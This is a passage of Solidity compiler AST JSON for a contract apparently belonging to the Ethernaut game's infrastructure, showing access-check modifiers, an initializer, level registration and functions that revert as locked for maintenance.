ementaryTypeName","src":"2331:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2258:116:117"}},{"id":56596,"nodeType":"ModifierDefinition","src":"2381:122:117","nodes":[],"body":{"id":56595,"nodeType":"Block","src":"2422:81:117","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":56589,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56585,"src":"2455:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":56588,"name":"doesLevelExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57123,"src":"2440:14:117","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":56590,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2440:21:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20646f65736e2774206578697374","id":56591,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2463:21:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""},"value":"Level doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""}],"id":56587,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2432:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2432:53:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56593,"nodeType":"ExpressionStatement","src":"2432:53:117"},{"id":56594,"nodeType":"PlaceholderStatement","src":"2495:1:117"}]},"name":"levelExistsCheck","nameLocation":"2390:16:117","parameters":{"id":56586,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56585,"mutability":"mutable","name":"level","nameLocation":"2415:5:117","nodeType":"VariableDeclaration","scope":56596,"src":"2407:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56584,"name":"address","nodeType":"ElementaryTypeName","src":"2407:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2406:15:117"},"virtual":false,"visibility":"internal"},{"id":56610,"nodeType":"ModifierDefinition","src":"2509:129:117","nodes":[],"body":{"id":56609,"nodeType":"Block","src":"2555:83:117","nodes":[],"statements":[{"expression":{"arguments":[{"id":56604,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2573:22:117","subExpression":{"arguments":[{"id":56602,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56598,"src":"2589:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":56601,"name":"doesLevelExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57123,"src":"2574:14:117","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":56603,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2574:21:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20616c726561647920657869737473","id":56605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2597:22:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""},"value":"Level already exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""}],"id":56600,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2565:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56606,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2565:55:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56607,"nodeType":"ExpressionStatement","src":"2565:55:117"},{"id":56608,"nodeType":"PlaceholderStatement","src":"2630:1:117"}]},"name":"levelDoesntExistCheck","nameLocation":"2518:21:117","parameters":{"id":56599,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56598,"mutability":"mutable","name":"level","nameLocation":"2548:5:117","nodeType":"VariableDeclaration","scope":56610,"src":"2540:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56597,"name":"address","nodeType":"ElementaryTypeName","src":"2540:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2539:15:117"},"virtual":false,"visibility":"internal"},{"id":56623,"nodeType":"ModifierDefinition","src":"2644:127:117","nodes":[],"body":{"id":56622,"nodeType":"Block","src":"2687:84:117","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":56616,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56612,"src":"2721:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":56615,"name":"doesPlayerExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57135,"src":"2705:15:117","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":56617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2705:23:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"506c6179657220646f65736e2774206578697374","id":56618,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2730:22:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""},"value":"Player doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""}],"id":56614,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2697:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2697:56:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56620,"nodeType":"ExpressionStatement","src":"2697:56:117"},{"id":56621,"nodeType":"PlaceholderStatement","src":"2763:1:117"}]},"name":"playerExistsCheck","nameLocation":"2653:17:117","parameters":{"id":56613,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56612,"mutability":"mutable","name":"player","nameLocation":"2679:6:117","nodeType":"VariableDeclaration","scope":56623,"src":"2671:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56611,"name":"address","nodeType":"ElementaryTypeName","src":"2671:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2670:16:117"},"virtual":false,"visibility":"internal"},{"id":56635,"nodeType":"ModifierDefinition","src":"2777:126:117","nodes":[],"body":{"id":56634,"nodeType":"Block","src":"2802:101:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":56629,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":56626,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2820:3:117","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":56627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2824:6:117","memberName":"sender","nodeType":"MemberAccess","src":"2820:10:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":56628,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56458,"src":"2834:9:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2820:23:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e6374696f6e","id":56630,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2845:39:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_5575ea6020a3bf3733d83fb494211a1209ce454db61502d4241a05ca29624289","typeString":"literal_string \"Only Ethernaut can call this function\""},"value":"Only Ethernaut can call this function"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5575ea6020a3bf3733d83fb494211a1209ce454db61502d4241a05ca29624289","typeString":"literal_string \"Only Ethernaut can call this function\""}],"id":56625,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2812:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56631,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2812:73:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56632,"nodeType":"ExpressionStatement","src":"2812:73:117"},{"id":56633,"nodeType":"PlaceholderStatement","src":"2895:1:117"}]},"name":"onlyEthernaut","nameLocation":"2786:13:117","parameters":{"id":56624,"nodeType":"ParameterList","parameters":[],"src":"2799:2:117"},"virtual":false,"visibility":"internal"},{"id":56649,"nodeType":"FunctionDefinition","src":"2909:131:117","nodes":[],"body":{"id":56648,"nodeType":"Block","src":"2994:46:117","nodes":[],"statements":[{"expression":{"id":56646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":56644,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56458,"src":"3004:9:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":56645,"name":"_ethernautAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56637,"src":"3016:17:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3004:29:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":56647,"nodeType":"ExpressionStatement","src":"3004:29:117"}]},"functionSelector":"485cc955","implemented":true,"kind":"function","modifiers":[{"id":56642,"kind":"modifierInvocation","modifierName":{"id":56641,"name":"initializer","nameLocations":["2982:11:117"],"nodeType":"IdentifierPath","referencedDeclaration":48412,"src":"2982:11:117"},"nodeType":"ModifierInvocation","src":"2982:11:117"}],"name":"initialize","nameLocation":"2918:10:117","parameters":{"id":56640,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56637,"mutability":"mutable","name":"_ethernautAddress","nameLocation":"2937:17:117","nodeType":"VariableDeclaration","scope":56649,"src":"2929:25:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56636,"name":"address","nodeType":"ElementaryTypeName","src":"2929:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56639,"mutability":"mutable","name":"_operator","nameLocation":"2964:9:117","nodeType":"VariableDeclaration","scope":56649,"src":"2956:17:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56638,"name":"address","nodeType":"ElementaryTypeName","src":"2956:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2928:46:117"},"returnParameters":{"id":56643,"nodeType":"ParameterList","parameters":[],"src":"2994:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":56668,"nodeType":"FunctionDefinition","src":"3073:220:117","nodes":[],"body":{"id":56667,"nodeType":"Block","src":"3224:69:117","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"436f6e7472616374206c6f636b656420647565206d61696e74656e616e6365206f7065726174696f6e73","id":56664,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3241:44:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""},"value":"Contract locked due maintenance operations"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""}],"id":56663,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3234:6:117","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":56665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3234:52:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56666,"nodeType":"ExpressionStatement","src":"3234:52:117"}]},"functionSelector":"7e4326d3","implemented":true,"kind":"function","modifiers":[{"id":56658,"kind":"modifierInvocation","modifierName":{"id":56657,"name":"onlyEthernaut","nameLocations":["3174:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56635,"src":"3174:13:117"},"nodeType":"ModifierInvocation","src":"3174:13:117"},{"arguments":[{"id":56660,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56653,"src":"3213:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56661,"kind":"modifierInvocation","modifierName":{"id":56659,"name":"levelExistsCheck","nameLocations":["3196:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"3196:16:117"},"nodeType":"ModifierInvocation","src":"3196:23:117"}],"name":"createNewInstance","nameLocation":"3082:17:117","parameters":{"id":56656,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56651,"mutability":"mutable","name":"instance","nameLocation":"3108:8:117","nodeType":"VariableDeclaration","scope":56668,"src":"3100:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56650,"name":"address","nodeType":"ElementaryTypeName","src":"3100:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56653,"mutability":"mutable","name":"level","nameLocation":"3126:5:117","nodeType":"VariableDeclaration","scope":56668,"src":"3118:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56652,"name":"address","nodeType":"ElementaryTypeName","src":"3118:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56655,"mutability":"mutable","name":"player","nameLocation":"3141:6:117","nodeType":"VariableDeclaration","scope":56668,"src":"3133:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56654,"name":"address","nodeType":"ElementaryTypeName","src":"3133:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3099:49:117"},"returnParameters":{"id":56662,"nodeType":"ParameterList","parameters":[],"src":"3224:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56690,"nodeType":"FunctionDefinition","src":"3299:250:117","nodes":[],"body":{"id":56689,"nodeType":"Block","src":"3480:69:117","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"436f6e7472616374206c6f636b656420647565206d61696e74656e616e6365206f7065726174696f6e73","id":56686,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3497:44:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""},"value":"Contract locked due maintenance operations"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""}],"id":56685,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3490:6:117","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":56687,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3490:52:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56688,"nodeType":"ExpressionStatement","src":"3490:52:117"}]},"functionSelector":"2c038c32","implemented":true,"kind":"function","modifiers":[{"id":56677,"kind":"modifierInvocation","modifierName":{"id":56676,"name":"onlyEthernaut","nameLocations":["3396:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56635,"src":"3396:13:117"},"nodeType":"ModifierInvocation","src":"3396:13:117"},{"arguments":[{"id":56679,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56672,"src":"3435:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56680,"kind":"modifierInvocation","modifierName":{"id":56678,"name":"levelExistsCheck","nameLocations":["3418:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"3418:16:117"},"nodeType":"ModifierInvocation","src":"3418:23:117"},{"arguments":[{"id":56682,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56674,"src":"3468:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56683,"kind":"modifierInvocation","modifierName":{"id":56681,"name":"playerExistsCheck","nameLocations":["3450:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"3450:17:117"},"nodeType":"ModifierInvocation","src":"3450:25:117"}],"name":"submitSuccess","nameLocation":"3308:13:117","parameters":{"id":56675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56670,"mutability":"mutable","name":"instance","nameLocation":"3330:8:117","nodeType":"VariableDeclaration","scope":56690,"src":"3322:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56669,"name":"address","nodeType":"ElementaryTypeName","src":"3322:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56672,"mutability":"mutable","name":"level","nameLocation":"3348:5:117","nodeType":"VariableDeclaration","scope":56690,"src":"3340:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56671,"name":"address","nodeType":"ElementaryTypeName","src":"3340:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56674,"mutability":"mutable","name":"player","nameLocation":"3363:6:117","nodeType":"VariableDeclaration","scope":56690,"src":"3355:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56673,"name":"address","nodeType":"ElementaryTypeName","src":"3355:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3321:49:117"},"returnParameters":{"id":56684,"nodeType":"ParameterList","parameters":[],"src":"3480:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56712,"nodeType":"FunctionDefinition","src":"3555:250:117","nodes":[],"body":{"id":56711,"nodeType":"Block","src":"3736:69:117","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"436f6e7472616374206c6f636b656420647565206d61696e74656e616e6365206f7065726174696f6e73","id":56708,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3753:44:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""},"value":"Contract locked due maintenance operations"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f97ab41c34a57cf3feb8df154a08e148e2e18a018b6356fe437606836eb8aa8e","typeString":"literal_string \"Contract locked due maintenance operations\""}],"id":56707,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3746:6:117","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":56709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3746:52:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56710,"nodeType":"ExpressionStatement","src":"3746:52:117"}]},"functionSelector":"d0f191e0","implemented":true,"kind":"function","modifiers":[{"id":56699,"kind":"modifierInvocation","modifierName":{"id":56698,"name":"onlyEthernaut","nameLocations":["3652:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56635,"src":"3652:13:117"},"nodeType":"ModifierInvocation","src":"3652:13:117"},{"arguments":[{"id":56701,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56694,"src":"3691:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56702,"kind":"modifierInvocation","modifierName":{"id":56700,"name":"levelExistsCheck","nameLocations":["3674:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"3674:16:117"},"nodeType":"ModifierInvocation","src":"3674:23:117"},{"arguments":[{"id":56704,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56696,"src":"3724:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56705,"kind":"modifierInvocation","modifierName":{"id":56703,"name":"playerExistsCheck","nameLocations":["3706:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"3706:17:117"},"nodeType":"ModifierInvocation","src":"3706:25:117"}],"name":"submitFailure","nameLocation":"3564:13:117","parameters":{"id":56697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56692,"mutability":"mutable","name":"instance","nameLocation":"3586:8:117","nodeType":"VariableDeclaration","scope":56712,"src":"3578:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56691,"name":"address","nodeType":"ElementaryTypeName","src":"3578:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56694,"mutability":"mutable","name":"level","nameLocation":"3604:5:117","nodeType":"VariableDeclaration","scope":56712,"src":"3596:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56693,"name":"address","nodeType":"ElementaryTypeName","src":"3596:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56696,"mutability":"mutable","name":"player","nameLocation":"3619:6:117","nodeType":"VariableDeclaration","scope":56712,"src":"3611:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56695,"name":"address","nodeType":"ElementaryTypeName","src":"3611:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3577:49:117"},"returnParameters":{"id":56706,"nodeType":"ParameterList","parameters":[],"src":"3736:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56735,"nodeType":"FunctionDefinition","src":"3811:159:117","nodes":[],"body":{"id":56734,"nodeType":"Block","src":"3900:70:117","nodes":[],"statements":[{"expression":{"id":56726,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":56722,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56537,"src":"3910:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":56724,"indexExpression":{"id":56723,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56714,"src":"3922:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3910:18:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":56725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3931:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"3910:25:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":56727,"nodeType":"ExpressionStatement","src":"3910:25:117"},{"expression":{"arguments":[{"id":56731,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56714,"src":"3957:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":56728,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"3945:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3952:4:117","memberName":"push","nodeType":"MemberAccess","src":"3945:11:117","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":56732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3945:18:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56733,"nodeType":"ExpressionStatement","src":"3945:18:117"}]},"functionSelector":"cd819a6f","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56717,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56714,"src":"3879:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56718,"kind":"modifierInvocation","modifierName":{"id":56716,"name":"levelDoesntExistCheck","nameLocations":["3857:21:117"],"nodeType":"IdentifierPath","referencedDeclaration":56610,"src":"3857:21:117"},"nodeType":"ModifierInvocation","src":"3857:28:117"},{"id":56720,"kind":"modifierInvocation","modifierName":{"id":56719,"name":"onlyEthernaut","nameLocations":["3886:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56635,"src":"3886:13:117"},"nodeType":"ModifierInvocation","src":"3886:13:117"}],"nam